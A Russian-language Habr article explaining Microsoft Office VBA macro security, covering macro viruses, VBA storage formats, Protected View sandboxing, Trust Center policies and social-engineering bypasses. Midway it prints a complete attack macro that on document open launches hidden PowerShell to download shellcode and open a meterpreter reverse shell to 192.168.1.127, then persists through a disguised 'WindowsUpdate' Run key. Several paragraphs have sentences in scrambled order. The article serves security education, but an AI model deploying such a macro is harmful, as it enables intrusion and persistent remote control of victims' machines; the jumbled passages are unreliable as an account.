Хабрахабр

Безопасность Microsoft Office: макросы VBA

В 2016 году исследователи отметили всплеск активности, практически второе рождение, еще недавно казавшейся безнадежно устаревшей техники распространения нежелательного ПО — несущих злонамененную нагрузку макросов в документах Microsoft Office, т.н. «макровирусов».

Вирус поразил по крайней мере сто тысяч компьютеров по всему миру, парализовал работу сотен компаний, ущерб экономике составил 80 миллионов долларов в одних только США. Самый знаменитый макровирус, Melissa, появился в марте 1999 года.

Судя по отчетам компаний, связанных с информационной безопасностью (например, здесь ), на сегодняшний день макровирусы все еще занимают верхние строчки в рейтингах по распространенности.

По-видимому, распространители malware, испытывая недостаток в свежих багах, обратили свои взоры на плохо забытые (и все еще эффективные) старые. Не появилось никаких способствовавших этому новых уязвимостей, как в общем-то не было никаких чисто технических предпосылок.

Попробуем разобраться.

Kovter и Emotet распространяются при помощи макросов в документах Office. Почему почти через двадцать лет та же техника остается на вооружении всевозможных компьютерных злоумышленников?

Что такое «макрос»

Так называемые «макросы» Microsoft Office представляют собой небольшие программы для интерпретируемого языка Visual Basic for Applications (VBA), поддержка которого встроена в линейку продуктов Microsoft Office.

Макросы в силу своих возможностей могут быть использованы для практически любой задачи автоматизации офисной работы.

Какие программы поддерживают макросы VBA

VBA охватывает все версии Microsoft Office для Windows, начиная с 1997г. и включая еще не вышедший 2019, а также некоторые другие приложения Microsoft, такие как MapPoint и Visio, и ПО других производителей: AutoCAD, CorelDraw, LibreOffice, Reflection, WordPerfect.

Реализована поддержка VBA и в Office for Mac OS X, за исключением 2008.

При выборочной установке Microsoft Office можно отказаться от поддержки VBA, но по умолчанию эта подсистема входит в набор устанавливаемых программ.


Редактор VBA в Microsoft Word

Что умеет VBA

Макросы документов обладают довольно богатым функционалом, который можно разбить на три категории:

  • Доступ к содержимому документа, в том числе, и вставленному в него активному содержимому (ActiveX)
  • Доступ к событиям интерфейса офисного приложения и действиям пользователя в этом офисном приложении (например, нажатие клавиш)
  • Доступ к файловой системе, ресурсам операционной системы при помощи создаваемых COM и WMI объектов.

Доступ к содержимому документа может быть необходим для автоматического редактирования и формирования документов. Это очень важная возможность, которая позволяет автоматизировать некоторую рутинную работу офисных сотрудников (например, вставку заготовленных шаблонов таблиц или других элементов в документы).

Исполнение макросов может быть привязано к различным событиям интерфейса или к действиям пользователя. Доступ к интерфейсу и событиям интерфейса офисного приложения позволяет упростить работу с макросами (например, помогает привязать исполнение макроса к событию или комбинации клавиш). Например, макрос AutoOpen привязывается к событию открытия документа, чем и обязан использованию злоумышленниками в качестве основного.

Доступ к файловой системе и ресурсам ОС бывает необходим для выполнения сложных задач автоматизации, связанных с обработкой нестандартных форматов документов и/или автоматического распространения (например, рассылка автоматически сгенерированных отчетов по почте).

C учетом того, что макросы могут быть присоединены к документам, и начинать свое выполнение автоматически (если не учитывать ограничения безопасности), можно утверждать, что открытие такого документа равносильно запуску стороннего исполняемого файла, который получает те же привилегии в системе, что и активировавший его пользователь. Последний класс функциональных возможностей делает исполнение макроса с точки зрения безопасности равносильным запуску обычного исполняемого файла.

Автоматизация позволяет программам на VBA управлять поведением не только приложения-хоста, но и другими приложениями Microsoft Office (как, впрочем, и любыми объектами COM в системе).

Для этого хост-приложение предоставляет API в виде COM-интерфейсов и библиотеку типов (TypeLibrary). Само взаимодействие между скриптами VBA и хост-приложением осуществляется при помощи технологии автоматизации OLE. API не универсально, и может зависеть от типа и версии хост-приложения, поэтому макрос, предназначенный для работы внутри Microsoft Word, не будет работать в Excel. Это API позволяет взаимодействовать с хост-приложением: например, модифицировать содержимое документа или получать различные уведомления о действиях пользователя. Например, можно создать макрос, который исполняется внутри Excel: читает таблицу, формирует на её основе отчеты в формате Microsoft Word и рассылает их по различным почтовым адресам, используя автоматизацию Microsoft Outlook. Однако, макросы документов могут использовать API автоматизации сразу же нескольких хост-приложений.

Подобной независимостью, обеспеченной виртуальной машиной VBA, никак не может похвастать большинство логических, и тем более бинарных уязвимостей. Помимо широких возможностей в операционной системе, программы VBA обладают такими привлекательными для злоумышленника свойствами, как надежность и стабильность выполнения, совместимость (с некоторыми оговорками) со всей линейкой Office.

Эти документы также могут содержать макросы, запускаемые вместе с приложением. Существуют документы-шаблоны, загружаемые приложением по умолчанию, к примеру, normal.dotm в Word. Эта простейшая техника может быть использована для закрепления нежелательного ПО в системе.

К ним можно отнести шифрование бинарной полезной нагрузки, которая записывается на диск макросом, использование WMI для создания дочернего процесса, выполняющего дальнейшие деструктивные действия. Методы незаметного проникновения на ПК в основном основаны на стандартных техниках, применяемыми вредоносным ПО.

' Author: Matt Nelson ' Twitter: @enigma0x3 Sub Auto_Open()
Execute
Persist End Sub Public Function Execute() As Variant Const HIDDEN_WINDOW = 0 strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartup = objWMIService.Get("Win32_ProcessStartup") Set objConfig = objStartup.SpawnInstance_ objConfig.ShowWindow = HIDDEN_WINDOW Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process") objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID End Function Public Function Persist() As Variant Dim WShell As Object Set WShell = CreateObject("WScript.Shell") WShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate", "C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe -NonInteractive -WindowStyle Hidden -noprofile -noexit -Command IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/persist.ps1'))", "REG_SZ" Set WShell = Nothing End Function

Пример макроса с «полезной» нагрузкой

Как реализована поддержка VBA

Причиной появления архитектуры VBA в том виде, в котором она известна нам сегодня, скорее всего, стала оптимизация компанией Microsoft затрат на разработку языка и самого движка макросов. За основу был взят готовый интерпретатор скриптового языка с возможностями, существенно превышающими требования, предъявляемые к макроязыкам офисных документов. Это позволяет создавать на VBA макросы, которые по своему функционалу, скорее, похожи на плагины для офисных приложений, и к ним должны предъявляться другие требования безопасности, распространения и публикации.

VBA является несколько урезанным вариантом Visual Basic и отличается также тем, что программы на нем работают лишь внутри приложения-хоста (например, Excel), связаны с документом, для которого созданы, и не могут быть запущены в качестве отдельного приложения.

Программы VBA имеют возможность использовать динамические библиотеки DLL, классы COM, доступ к файловой системе — этого более, чем достаточно, чтобы произвести в операционной системе любые действия, доступные аккаунту, под которым запущены приложения Office. В умелых руках эти небольшие ограничения легко преодолеваются.

Однако с учетом того, что интерпретатор VBA под эту ОС разработан не так давно, исследователей безопасности вполне могут ожидать интересные находки в этом направлении. Производитель утверждает, что макросы VBA в приложениях Office под Mac OS выполняются внутри песочницы, без доступа к системным функциям, файловой системе и другим приложениям.

Макросы выполняются от имени и с правами пользователя, открывшего документ. В приложениях пакета для Windows изоляция исполнения макросов отсутствует.

Она представляет собой несколько DLL библиотек и библиотек с ресурсами. Обычно виртуальная машина VBEx (x — номер версии) устанавливается вместе с офисным пакетом и располагается в %CommonProgramFiles%\microsoft shared\VBA\«подпапка с версией». Библиотеки загружаются в адресное пространство процесса приложения, которое выполняет макросы документа.

Документы современного формата Office Open XML, содержащие макросы, должны иметь специальное расширение (".docm",".dotm",".xlm",".xltm", ...), в противном случае приложение откажется их открывать. Код, созданный в редакторе VBA, сохраняется внутри файла документа. Внутри zip-архива документа проект VBA хранится в файле-хранилище CFBF.

В документах устаревшего формата (.doc, .xls, .ppt, ...), представляющих собой CFBF, VBA сохраняется в хранилище второго уровня «Macros», формат которого аналогичен предыдущему.

В этом случае по названию (расширению имени файла) или значку пользователь никак не определит, что документ может содержать макросы.

Как и следовало ожидать, многие интересные поля структур описаны в спецификации приблизительно следующим образом:
Microsoft любезно опубликовала спецификацию формата хранения проектов VBA в документах Office: [MS-OVBA].

MUST not be present on write. MUST be ignored on read.

Тем не менее, при желании можно выяснить, что кроме исходного кода VBA в файл хранилища записывается также скомпилированый так называемый p-code (packed code). Формат этого промежуточного кода для виртуальной машины зависит от версии VBA. Если документ открыт в приложении, использующем ту же версию виртуальной машины, p-code будет загружен и выполнен, а исходный код проигнорирован. Существует также и третий вариант сохраняемого кода: это специфичный для версии приложения двоичный формат, который в спецификации обтекаемо назван Performance Cache и записывается в файл при выполнении программы.

Любопытно заметить, что, если формат p-code частично доступен антивирусным компаниям на условиях Non Disclosure Agreement, то о формате Performance Cache, называемом в ряде источников также Execode, практически неизвестно (основываясь на некоторых прецедентах можно даже предположить, что неизвестно и самой компании Microsoft).

Подобная техника дает определенную свободу действий создателям макровирусов и влечет за собой дополнительные сложности для антивирусных сканеров: в зависимости от версии пакета и виртуальной машины может быть скомпилирован исходный код, использован p-code либо загружен Performance Cache, которые совершенно необязательно могут соответствовать один другому.

Копирование осуществляется средствами системного Structured Storage API, непосредственно с содержимым хранилища на этом этапе приложения Office не взаимодействуют. При открытии документов, содержащих проекты VBA, приложение создает временный файл-хранилище, в который копирует директории VBA. Код VBA, в одном из трех вариантов, будет загружен виртуальной машиной только после того, как пользователь разрешит выполнение (или если выполнение разрешено по умолчанию).

Встроенные механизмы противодействия макровирусам

Можно выделить два основных вопроса безопасности, которые необходимо решить при разработке архитектуры собственного макроязыка:

* К чему могут иметь доступ макросы
* Могут ли макросы распространяться как составная часть документов.

Это привело к тому, что открытие документа Microsoft Office c макросами равносильно запуску обычного исполняемого файла. Если рассмотреть архитектуру макросов VBA от Microsoft, описанную выше, становится очевидно, что оба эти вопроса решены неправильно.

Таким образом, документы Microsoft Office с макросами:

* Обладают свойствами и возможностями обычного исполняемого файла
* Не принадлежат к зарегистрированному в системе типу исполняемых файлов и не воспринимаются пользователями как исполняемые.

Настолько легким, что компании Microsoft пришлось решать эту проблему при помощи расширения функции механизма безопасности офисного пакета. Из-за распространенности пакета Microsoft Office и пересылок документов в почтовых вложениях, а также двух свойств документов с макросами, описанных выше, они стали легким и надежным способом проникновения вредоносного ПО на компьютеры пользователей.

Два механизма безопасности интегрированы непосредственно в приложения Microsoft Office:

* Защищенный режим просмотра
* Политики запрета исполнения макросов VBA.

При открытии документа в таком режиме создается дочерний процесс (в котором и происходит просмотр документа) с пониженным уровнем целостности и ограничением Job на создание дочерних процессов (делается ограничением одного активного процесса в Job). В Microsoft Office есть защищенный режим, который активируется при просмотре файлов, загруженных из интернета, запрещает запуск любого активного содержимого (в том числе, и макросов) и создает ряд ограничений для процесса, который открывает этот документ.

Эти ограничения, в первую очередь, направлены на предотвращение эксплуатации обычных бинарных уязвимостей в самом офисном приложении.

Изоляция процесса, отображающего документ в защищенном режиме, реализована в целом хорошо и заслуживает отдельного упоминания.

На уровне приложения в ОС Microsoft Windows предоставляет следующие возможности изоляции процесса:

* Ограничения токена (маркера доступа) процесса
* Ограничения GUI-подсистемы
* Ограничения объекта Job для процесса.

Изоляция процесса офисного приложения, отображающего документ, реализуется при помощи всех этих трех механизмов.


Примерная схема работы защищенного режима просмотра документов Microsoft Office

Для этого формируется специальный токен, с которым будет создаваться изолированный процесс при помощи функции CreateProcessAsUser. Недоверенные документы открываются в изолированном процессе, который создается главным процессом-брокером офисного приложения. В зависимости от того, поддерживает ли операционная система запуск процессов с токеном AppContainer или нет, токен формируется по-разному.

Процессы, работающие на основе технологии AppContainer, ограничены добавленными в них возможностями (Capabilities). Для операционных систем, поддерживающих технологию AppContainer (Windows 8 и выше), выполняется создание папки контейнера, настройка разрешений для работы с именованным каналом, по которому изолированный процесс может общаться с процессом-брокером, а также добавляется особая возможность (Capability) с недокументированным SID, свойственная только Microsoft Office. Изолированный процесс офисного приложения, таким образом, может лишь работать с файлами внутри папки собственного контейнера, и общаться с процессом-брокером через именованный канал. Они определяют границы песочницы, в которых исполняется процесс. Доступ в сеть полностью закрыт, поскольку у процесса отсутствуют возможности (Capability) для открытия портов и исходящих соединений.

Отключаются следующие SID в группах токена: Domain Users, Administrators, Console Logon, This Organization, NTLM Authentication, Medium Mandatory Level. Для более ранних операционных систем, не поддерживающих технологию AppContainer, но активирующих исполнение процесса с низким уровнем целостности, выполняется более сложная настройка токена изолированного процесса. Настраиваются разрешения для работы с именованными каналом процесса-брокера и понижается уровень целостности до низкого. SID следующих сущностей ограничиваются в маркере доступа изолированного процесса: Restricted Code, Everyone, Users, Logon Session. Также создается папка для работы изолированного процесса и настраиваются разрешения для взаимодействия с ней.

Этот процесс добавляется в Job с особыми ограничениями. После настройки маркера доступа вне зависимости от поддержки технологии AppContainer создается процесс в состоянии паузы Suspended. Ограничения объекта Job обычно следующие:

* Число активных процессов – 1
* Завершение процессов при необработанном исключении
* Завершение дочерних процессов при завершении процесса-родителя.

Обычно этого не делается. Опционально в зависимости от настроек офисного приложения формируется изоляция GUI, в частности, может быть создан новый рабочий стол для изолированного процесса. После создания, настройки разрешений процесса и добавления его в объект Job, процесс брокер возобновляет выполнение изолированного процесса, выводя его из состояния Suspended. Рабочий стол определяет, в частности, буфер обмена.

Как правило, злоумышленникам приходится искать в таком случае дополнительные уязвимости в ядре ОС, чтобы выйти за пределы создаваемой процессором-брокером песочницы изолированного процесса, в котором отображается документ. Описанная выше система изоляции процесса, в котором происходит открытие недоверенного документа, существенно усложняет эксплуатацию обычных бинарных уязвимостей.

Пользователь может отключить режим защищенного просмотра нажатием кнопки «Разрешить редактирование» / «Enable editing», которая появляется на желтой полосе предупреждения при открытии загруженного документа. Однако при разрешении запуска макросов приложение не будет работать в защищенном режиме (даже если файл был загружен), и таким образом виртуальная машина VBA не получит ограничений.

Параметры запуска приложений VBA можно изменить пользовательскими настройками.


Настройка политики запуска макросов в окне «Trust Center»

«Тревожный сигнал» выглядит следующим образом: По умолчанию, стоит настройка, запрещающая исполнение всех макросов с оповещением пользователя.

Нажимая на кнопку «Enable Content», пользователь разрешает исполнение всех макросов документов, в том числе, и автоматических, тем самым ставя под угрозу заражения свой ПК.

Администратор может её сконфигурировать таким образом, что будет апрещено исполнение макросов в документах, загруженных по сети. В ответ на возросшее количество угроз от распространения документов с макросами, в Microsoft разработали более жесткую политику безопасности, которая может быть настроена администраторами через механизм групповых политик Windows.

Также следует заметить, что для всех политик имеются исключения:

* Доверенные расположения в файловой системе
* Доверенные издатели.

То же самое относится к механизму доверенных издателей. Документы из доверенных расположений в файловой системе открываются с минимальными ограничениями. В частности, автоматически могут запускаться VSTO, подписанные сертификатами доверенных издателей.

Обход методов противодействия макровирусам

Большинство методов обхода механизмов безопасности строятся на социальной инженерии. Пользователи не воспринимают файлы Microsoft Office с макросами как исполняемые, поэтому легко вводятся в заблуждение демонстрацией ненормального открытия документа и приглашением пользователя включить макросы, чтобы устранить проблемы. Злоумышленники предоставляют подробные инструкции, на случай, если пользователи сами не могут догадаться как это сделать, и весомо выглядящее обоснование необходимости их включения.

Стоимость таких решений может быть значительной, а эффективность, по мнению авторов, доходит до 60%. На форумах соответствующей тематики можно встретить объявления о создании «индивидуальных дизайнерских решений» для оформления документов, призванных убедить пользователя включить активное содержимое.

Из-за этого многие, даже не думая, разрешают исполнение макросов. Эксплуатируется желание пользователя поскорее получить информацию из документа. После разрешения пользователем исполнения макросов и заражения компьютера, макрос, как правило, показывает пользователю ту информацию, которую он хотел увидеть, меняя соответствующим образом открытый документ при помощи API автоматизации. Формирование внешнего вида и содержимого таких документов зависит уже исключительно от фантазии злоумышленников и основано на незнании типичными пользователями сложных возможностей макроязыка VBA, приводящих к заражению системы вредоносным ПО.

Несомненно, с точки зрения безопасности это шаг вперед. Современные версии Office имеют возможность изменения групповых политик, что позволяет доменному администратору заблокировать выполнение VBA на всех пользовательских компьютерах без возможности изменения этой настройки пользователем. К сожалению, эта возможность зачастую не применяется, поскольку во многих компаниях есть свой активно используемый набор макросов, от которого никто не желает отказываться.

В памяти программы Office содержится «свойство» AutomationSecurity — переменная, содержащая настройки безопасности для активного содержимого, в том числе для макросов и элементов ActiveX. Есть и еще один неочевидный нюанс, который представляет собой значительную брешь в безопасности. Если же приложение запущено как клиент Автоматизации, из скрипта или другого приложения (к примеру, приложения для бухучета), переменная AutomationSecurity будет содержать минимальное значение «msoAutomationSecurityLow». Если приложение было запущено пользователем стандартным способом, например, значком на рабочем столе или открытием документа, эта переменная будет соответствовать настройкам, выставленным пользователем в окне «Центра безопасности» или администратором при помощи шаблонов. В результате при обработке автоматизированным приложением какого-либо документа будут выполнены и содержащиеся в документе VBA-программы, если только программист специально не изменил переменную на msoAutomationSecurityByUI или msoAutomationSecurityForceDisable.

И в заключение...

Что же вирус Melissa и причиненные им убытки? Удивительно эффективный и эффектный результат выглядит еще более впечатляющим, если обратить внимание на одну маленькую деталь: предупреждающее сообщение об опасности макровирусов при открытии документа, содержащего макросы, появилось еще в Microsoft Office 97 (Melissa, напомним, появился в 1999).

Для того, чтобы отключить предупреждение, необходимо было снять «галочку» в настройках.

Можно было прочитать подробное разъяснение об опасности макровирусов и нежелательности запуска макросов из ненадежных источников.

По-видимому, это мало кого остановило.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть